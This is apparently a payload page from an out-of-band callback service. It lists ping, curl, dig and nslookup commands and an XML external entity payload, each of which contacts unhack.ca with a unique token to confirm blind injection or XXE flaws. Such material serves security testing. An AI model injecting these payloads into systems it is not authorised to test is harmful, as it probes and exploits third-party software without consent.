$ ping -c1 -p 0036a110461f19ee950f83cafe98ba00 unhack.ca
 

$ curl http://unhack.ca/p/36a110461f19ee950f83cafe98ba
 

$ dig 36a110461f19ee950f83cafe98ba @unhack.ca
 

$ dig 36a110461f19ee950f83cafe98ba.ns.unhack.ca
 

C:\> nslookup 36a110461f19ee950f83cafe98ba unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/36a110461f19ee950f83cafe98ba">]>
    <foo>&xxe;</foo>